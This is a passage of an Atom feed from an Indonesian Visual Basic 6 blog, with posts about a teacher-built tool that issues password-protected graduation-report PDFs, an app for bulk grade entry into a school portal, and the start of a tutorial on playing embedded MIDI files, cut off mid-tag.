<?xml version="1.0" encoding="UTF-8" standalone="no"?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:gd="http://schemas.google.com/g/2005" xmlns:georss="http://www.georss.org/georss" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:thr="http://purl.org/syndication/thread/1.0"><id>tag:blogger.com,1999:blog-540381649944697167</id><updated>2022-11-08T09:06:31.630+07:00</updated><category term="Tips And Trick"/><category term="Database"/><category term="Basic"/><category term="Microsoft Office Access"/><category term="Aplikasi"/><category term="Serpihan Code Database"/><category term="Software"/><category term="Pendidikan"/><category term="Create Pdf"/><category term="Excel"/><category term="FileFolderFunction"/><category term="HACK"/><category term="Kompresi"/><category term="Report Pdf"/><category term="SQL"/><category term="Bisnis Online"/><category term="MySQL"/><category term="Virus"/><title type="text">VBasicCode</title><subtitle type="html">Learning VB 6.0</subtitle><link href="http://vbasiccode.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/" rel="alternate" type="text/html"/><link href="http://pubsubhubbub.appspot.com/" rel="hub"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><generator uri="http://www.blogger.com" version="7.00">Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-4596627118710849054</id><published>2016-05-22T20:17:00.006+07:00</published><updated>2021-10-01T01:47:06.803+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Aplikasi"/><category scheme="http://www.blogger.com/atom/ns#" term="Create Pdf"/><category scheme="http://www.blogger.com/atom/ns#" term="Excel"/><category scheme="http://www.blogger.com/atom/ns#" term="Kompresi"/><category scheme="http://www.blogger.com/atom/ns#" term="Pendidikan"/><category scheme="http://www.blogger.com/atom/ns#" term="Report Pdf"/><category scheme="http://www.blogger.com/atom/ns#" term="Software"/><title type="text">Tutorial Instalasi dan Penggunaan Aplikasi Create Report Secure</title><content type="html">Tutorial Instalasi dan Penggunaan Aplikasi Create Report Secure, yang kami gunakan untuk pengumuman kelulusan di madrasah kami. Link download aplikasi terdapat di halaman tutorial di bawah ini. Semoga bermanfaat, terimakasih.﻿ &lt;br /&gt;&lt;center&gt;&lt;iframe height="480" src="https://drive.google.com/file/d/0B17lWDxDzoE8Q19mNWZuX2dmWlU/preview" width="600"&gt;&lt;/iframe&gt;&lt;/center&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/4596627118710849054/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2016/05/tutorial-instalasi-dan-penggunaan.html#comment-form" rel="replies" title="0 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/4596627118710849054" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/4596627118710849054" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2016/05/tutorial-instalasi-dan-penggunaan.html" rel="alternate" title="Tutorial Instalasi dan Penggunaan Aplikasi Create Report Secure" type="text/html"/><author><name>Djoko Martono, S.Pd.</name><uri>http://www.blogger.com/profile/10618127650755024742</uri><email>noreply@blogger.com</email><gd:image height="32" rel="http://schemas.google.com/g/2005#thumbnail" src="http://3.bp.blogspot.com/-Vlnhh4q3p1s/UWgCn9o95lI/AAAAAAAAATw/E7_nrH7h8MI/s1600/5580_100399423306739_8077509_n.jpg" width="21"/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-1402962445971909742</id><published>2015-04-28T03:01:00.003+07:00</published><updated>2021-10-01T01:47:40.759+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Aplikasi"/><category scheme="http://www.blogger.com/atom/ns#" term="Create Pdf"/><category scheme="http://www.blogger.com/atom/ns#" term="Excel"/><category scheme="http://www.blogger.com/atom/ns#" term="Kompresi"/><category scheme="http://www.blogger.com/atom/ns#" term="Report Pdf"/><title type="text">Aplikasi CreateReportSecure - Membuat Laporan Kelulusan Siswa Secara Online dan Gratis</title><content type="html">&lt;div class="WordSection1"&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-R_VWQ4uPr0c/VT6RpjcbYsI/AAAAAAAAAwE/Bg_3zjL-_6c/s1600/5.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="https://4.bp.blogspot.com/-R_VWQ4uPr0c/VT6RpjcbYsI/AAAAAAAAAwE/Bg_3zjL-_6c/s1600/5.png" width="358" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;Tidak terasa Ujian Nasional (UN) sudah berakhir dan pengumuman kelulusan siswa akan segera dimulai, di tahun 2015 ini Ujian Nasional tidak merupakan momok lagi bagi siswa karena UN sudah tidak menjadi penentu kelulusan seorang siswa, karena nasib lulus dan tidaknya seorang siswa sudah berada kembali di tangan sekolah yang artinya bahwa sekolahlah yang berhak meluluskan siswa berdasarkan nilai Ujian Sekolah/Madrasah yang telah ditetapkan pihak sekolah dan Nilai sikap yang dirapatkan oleh dewan pendidik/guru. Sedangkan fungsi Ujian Nasional sebagai bahan pemetaan kualitas sekolah tersebut di tingkat nasional. Walaupun demikian masih banyak sekolah/siswa yang tampak begitu mensakralkan UN dibanding tes/ujian lainnya, misalkan mengadakan do’a bersama menghadirkan kyai dan orangtua untuk menghadapi UN, banyak pula siswa yang silaturahmi ke guru-gurunya atau datang ke rumah gurunya saat dia sekolah di tingkat sebelumnya untuk minta do’a restu agar UN berhasil. Pengkhususan terhadap UN tersebut berbeda dibanding saat siswa tersebut menghadapi Ujian Sekolah, Ujian Praktek, Ulangan Akhir Semester yang nyata-nyata sebagai faktor penentu kelulusan siswa, mungkin karena perhelatan Nasioanl atau juga mungkin masih tahun pertama UN tidak sebagai penentu kelulusan sehingga program kerja pihak sekolah masih disamakan dengan tahun sebelumnya saat UN masih sebagai penentu kelulusan. Dan itu tentu saja tidak ada jeleknya karena do’a ataupun silaturami ke guru itu adalah perbuatan/kegiatan yang mulia.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Udah ah.. malah kayak membuat tulisan yang akan dilombakan.. hehe.. langsung saja.. karena pengumuman kelulusan siswa akan segera dimulai dan banyak sekolah yang membuat pengumuman kelulusan secara online walaupun mungkin masih ada sekolah yang surat keterangan kelulusan bagi siswa masih diantar lewat pos/kurir tapi alhamdulillah tahun ini bapak kepala madrasah/sekolah memiliki ide kalau pengumuman kelulusannya dilakukan secara online, dan menanyakan ke saya apa saya sanggup untuk membuat pengumuman secara online dan hasilnya hanya siswa tersebut saja yang tahu, maka saya jawab “Saya sanggup pak.. “ walaupun dalam hati kecil saya masih belum yakin karena tempat kami (sekolah) sudah tidak langganan hosting dikarenakan kurang maksimalnya penggunaan hosting tersebut sehingga eman-eman membayar pertahun tapi tidak/kurang manfaat.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Dari tugas tersebut muncullah ide untuk membuat pengumuman secara online menggunakan fasilitas gratis dari google. Saat itu saya memanfaatkan fasilitas google drive untuk penyimpanan data, google sheet untuk pengolahan siswa dan tampilan hasil kelulusan dan google form untuk login siswa, google site untuk alamat yang dituju siswa saat mengakses/melihat laporan kelulusannya. Semuanya berjalan normal saat saya tes sendiri.. seperti tampilan di bawah ini.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;br clear="all" style="break-before: page; mso-break-type: section-break; page-break-before: always;" /&gt;&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-8JX7DKuKVGg/VT6RB4a_LXI/AAAAAAAAAvo/RHyHM8yGOR0/s1600/2.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="https://3.bp.blogspot.com/-8JX7DKuKVGg/VT6RB4a_LXI/AAAAAAAAAvo/RHyHM8yGOR0/s1600/2.png" width="456" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%; text-align: center;"&gt;Gambar saat siswa login, menggunakan google form.&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;br clear="all" style="break-before: page; mso-break-type: section-break; page-break-before: always;" /&gt;&lt;/span&gt; &lt;br /&gt;&lt;div class="WordSection3"&gt;&lt;div align="center" class="MsoNormal" style="margin-bottom: 0cm; text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;v:shape id="Picture_x0020_3" o:spid="_x0000_i1027" style="height: 476.25pt; mso-wrap-style: square; visibility: visible; width: 377.25pt;" type="#_x0000_t75"&gt; &lt;v:imagedata o:title="3" src="file:///C:\Users\KURIKU~1\AppData\Local\Temp\msohtmlclip1\01\clip_image002.png"&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="center" class="MsoNormal" style="margin-bottom: 0cm; text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://1.bp.blogspot.com/-q8ZFGlfUtew/VT6RRIrn2gI/AAAAAAAAAvw/CpTkUAQnuXQ/s1600/3.png" style="font-family: &amp;quot;Times New Roman&amp;quot;, serif; font-size: 12pt; line-height: 115%; margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="https://1.bp.blogspot.com/-q8ZFGlfUtew/VT6RRIrn2gI/AAAAAAAAAvw/CpTkUAQnuXQ/s1600/3.png" width="505" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="center" class="MsoNormal" style="margin-bottom: 0cm; text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Tampilan yang menjelaskan bahwa siswa diminta untuk klik url tempat laporan kelulusannya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;br clear="all" style="break-before: page; mso-break-type: section-break; page-break-before: always;" /&gt;&lt;/span&gt; &lt;br /&gt;&lt;div class="WordSection4"&gt;&lt;div align="center" class="MsoNormal" style="margin-bottom: 0cm; text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;v:shape id="Picture_x0020_4" o:spid="_x0000_i1026" style="height: 585.75pt; mso-wrap-style: square; visibility: visible; width: 329.25pt;" type="#_x0000_t75"&gt; &lt;v:imagedata o:title="4" src="file:///C:\Users\KURIKU~1\AppData\Local\Temp\msohtmlclip1\01\clip_image003.png"&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-OUxUWE4b4gI/VT6RpVErnVI/AAAAAAAAAv4/gC4i0W9SLJc/s1600/4.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="https://2.bp.blogspot.com/-OUxUWE4b4gI/VT6RpVErnVI/AAAAAAAAAv4/gC4i0W9SLJc/s1600/4.png" width="356" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="center" class="MsoNormal" style="margin-bottom: 0cm; text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;Tampilan jika siswa salah saat login.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;br clear="all" style="break-before: page; mso-break-type: section-break; page-break-before: always;" /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-R_VWQ4uPr0c/VT6RpjcbYsI/AAAAAAAAAv8/jKBP1hSv9Gc/s1600/5.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="https://2.bp.blogspot.com/-R_VWQ4uPr0c/VT6RpjcbYsI/AAAAAAAAAv8/jKBP1hSv9Gc/s1600/5.png" width="356" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;Tampilan jika siswa benar saat login, maka akan muncul laporan kelulusannya.&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;br clear="all" style="break-before: page; mso-break-type: section-break; page-break-before: always;" /&gt;&lt;/span&gt; &lt;br /&gt;&lt;div class="MsoNormal" style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Terasa semua yang diminta bapak kepala sekolah sudah terpenuhi, tapi kesialan terjadi saat sosialisasi dihadapan siswa kelas XII yang akan lulus, saat saya beri contoh login.. ehhh.. muncul kesalahan login terus, saya coba lagi..ehh.. malah yang muncul bukan nama siswa yang saya maksud.. sejenak berpikir..&amp;nbsp; hmm…&amp;nbsp; yang sedikit kutakutkan sebelumnya&amp;nbsp; ternyata terjadi.. yaitu jika spredsheet tersebut diakses oleh banyak user/siswa maka yang muncul adalah siswa yang terakhir mengakses spredsheet tersebut.. hadeeeeeh.. akhirnya aku beritahukan dihadapan siswa kelas XII agar saat itu (saat saya presentasi itu) untuk tidak mengakses halaman web tersebut terlebih dahulu.. alhamdulillah akhirnya berhasil memunculkan siswa yang saya maksud.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Untuk penggunaan ide tersebut akhirnya tidak jadi saya lakukan, dan setelah berpikir maka muncul ide bahwa laporan dapat diakses secara online dengan cara mengunduh file yang telah dipassword dan passwordnya yang tahu hanya siswa tersebut saja. Tapi muncul kendala bagaimana melakukan seting password yang tiap file memiliki password yang saling berbeda.. kalau satu-satu iyaa jelas capek dan membosankan karena jumlah siswa 260 artinya saya harus mempassword 260 file dengan password yang berbeda-beda. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Dan akhirnya muncullah ide untuk &lt;i&gt;membuat aplikasi yang menghasilkan laporan keterangan kelulusan siswa dalam bentuk pdf yang terkompresi dan berpassword dan jika file tersebut telah jadi maka saya share melalui google drive sehingga siswa kelas XII dapat mendownload file tersebut untuk mengetahui kelulusannya&lt;/i&gt;,&amp;nbsp;dan alhamdulillah aplikasi tersebut sudah jadi, dan saya beri nama aplikasi tersebut dengan “CreateReportSecure”. Berkat aplikasi ini maka alhamdulillah tugas dari bapak kepala madrasah telah selesai,&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 16px; line-height: 18.4px;"&gt;anda dapat melihat hasilnya di&amp;nbsp;&lt;/span&gt;&lt;a href="https://sites.google.com/site/laporankelulusan/" style="font-family: &amp;quot;Times New Roman&amp;quot;, serif; font-size: 16px; line-height: 18.4px;" target="_blank"&gt;alamat ini&lt;/a&gt;, coba Anda download salah satu file pdf yang telah dikompres dan password tersebut, siapa tahu ada sensasi lain yang muncul dan membuat Anda tertarik juga untuk mengembangkannya&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 16px; line-height: 18.4px;"&gt;,&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;&lt;a href="http://1.bp.blogspot.com/-7mC5DiUI7qw/VT6aE5SSvjI/AAAAAAAAAwQ/-C-bfsF5FBk/s1600/Untitled.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="https://1.bp.blogspot.com/-7mC5DiUI7qw/VT6aE5SSvjI/AAAAAAAAAwQ/-C-bfsF5FBk/s1600/Untitled.png" width="359" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;Gambar halaman situs gratis dari google, tempat Siswa akan mendownload hasil laporan kelulusannya.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , &amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Logika penggunaan dari aplikasi tersebut adalah :&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%; text-indent: -18pt;"&gt;Menyimpan printarea dari sebuah file excel ke sebuah file pdf.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%; text-indent: -18pt;"&gt;Melakukan kompresi dan memberi password setiap file pdf yang telah dibuat dengan password yang berbeda, yang diharapkan hanya diketahui oleh Siswa karena password yang saya gunkan adalah Nomor Ujian digabung dengan Nomor Induk Siswa (NIS).&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin-bottom: 0cm; mso-add-space: auto; text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;Silahkan download aplikasi CreateReportSecure &lt;a href="https://drive.google.com/file/d/0B17lWDxDzoE8eV84cHp0bVVKUUk/view?usp=sharing" target="_blank"&gt;di Link ini&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin-bottom: 0cm; mso-add-space: auto; text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;Mungkin tulisan kali ini hanya sampai disini terlebih dahulu, semoga bermafaat dan terimakasih atas kunjungan teman semua.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/1402962445971909742/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2015/04/aplikasi-createreportsecure-membuat.html#comment-form" rel="replies" title="11 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/1402962445971909742" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/1402962445971909742" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2015/04/aplikasi-createreportsecure-membuat.html" rel="alternate" title="Aplikasi CreateReportSecure - Membuat Laporan Kelulusan Siswa Secara Online dan Gratis" type="text/html"/><author><name>Djoko Martono, S.Pd.</name><uri>http://www.blogger.com/profile/10618127650755024742</uri><email>noreply@blogger.com</email><gd:image height="32" rel="http://schemas.google.com/g/2005#thumbnail" src="http://3.bp.blogspot.com/-Vlnhh4q3p1s/UWgCn9o95lI/AAAAAAAAATw/E7_nrH7h8MI/s1600/5580_100399423306739_8077509_n.jpg" width="21"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://4.bp.blogspot.com/-R_VWQ4uPr0c/VT6RpjcbYsI/AAAAAAAAAwE/Bg_3zjL-_6c/s72-c/5.png" width="72"/><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8770369378945165027</id><published>2014-03-04T23:49:00.002+07:00</published><updated>2021-10-01T21:37:23.290+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Aplikasi"/><category scheme="http://www.blogger.com/atom/ns#" term="Database"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft Office Access"/><category scheme="http://www.blogger.com/atom/ns#" term="Pendidikan"/><title type="text">Aplikasi Biosistem Online 2014 sd 2016 PDK Jateng</title><content type="html">Kali ini.. sudah lama denk tidak update blog..haha..&lt;br /&gt;Saat ini saya ingin menuliskan tentang aplikasi yang saya buat untuk menyelesaikan secara cepat pekerjaan saya sebagai operator sekolah untuk input nilai di biosistemonline pdkjateng.go.id. Jika teman-teman juga sama nasibnya kemungkinan tahun kemarin yaitu 2013 tugas tersebut sangat berat karena semua mata pelajaran dengan dua aspek nilainya yaitu kognitif dan psikomotorik juga dimasukkan ditambah ekstra dan kehadiran.. fuuuihhh...tampak berat banget yaa.. haha.. tapi alhamdulillah tahun kemarin tugas tersebut lancar karena tahun tersebut saya sudah dapat menggunakan aplikasi yang juga saya buat sendiri dengan visual basic tentunya.&lt;br /&gt;Tahun inipun yaitu 2014 saya ,masih diberi tugas untuk menyelesaikan pekerjaan tersebut. Tetapi untung saja tidak seberat kemarin karena hanya enam mata pelajaran UN saja. Walaupun enam saja jika jumlah siswanya banyak dan input nilai dilakukan secara manual maka pasti membuat jari jemari keriting.. sehingga saya juga membuat aplikasi untuk membantu menyelesaikan tugas tersebut. Untuk melihat demo aplikasi silahkan lihat video berikut ini.&lt;br /&gt;&lt;br /&gt;Video Tutorial Input Nilai Rapor SMA/MA dan SMK&amp;nbsp;tahun 2016 di Biosistem Online&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;center&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/e07GS_gWk7o" width="560"&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;br /&gt;&lt;/div&gt;&lt;center&gt;&lt;br /&gt;&lt;/center&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/wRL0Xdhrp_g" width="560"&gt;&lt;/iframe&gt;&lt;/center&gt;Jika teman-teman operator sekolah ataupun teman-teman yang telah pesan aplikasi sejenis ditahun kemarin berminat, silahkan lihat video sampai dengan selesai di video tersebut telah saya cantumkan kontak yang dapat dihubungi.&lt;br /&gt;Demikian saja ahh.. update blognya walaupun terkesan komersil tapi yang penting update. Terimakasih untuk waktu dan kunjungan di blog ini..Salam.</content><link href="http://vbasiccode.blogspot.com/feeds/8770369378945165027/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2014/03/aplikasi-biosistem-online-2014-pdk.html#comment-form" rel="replies" title="6 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8770369378945165027" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8770369378945165027" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2014/03/aplikasi-biosistem-online-2014-pdk.html" rel="alternate" title="Aplikasi Biosistem Online 2014 sd 2016 PDK Jateng" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-5006997052362284451</id><published>2013-04-14T20:43:00.000+07:00</published><updated>2013-12-19T08:51:08.136+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="FileFolderFunction"/><category scheme="http://www.blogger.com/atom/ns#" term="Tips And Trick"/><title type="text">Memainkan musik (midi file) yang berada dalam resource</title><content type="html">&lt;div&gt;&lt;div&gt;Mungkin kita sering memainkan game dan mendengar iringan musik saat aplikasi game tersebut diload. Nah, untuk kali ini kita akan belajar menambahkan musik dari file midi yang tersimpan di resource,dan menjalankannya saat aplikasi di load. Lalu bagaimana caranya?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Tambahkan VB 6 Resource Editor, dengan langkah:&lt;/div&gt;&lt;div&gt;1. Klik menu Add-Ins&lt;/div&gt;&lt;div&gt;2. Double Click untuk meload VB 6 Resource Editor,kemudian klik OK.&lt;/div&gt;&lt;div&gt;Untuk lebih jelasnya lihat Gambar di bawah ini.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a 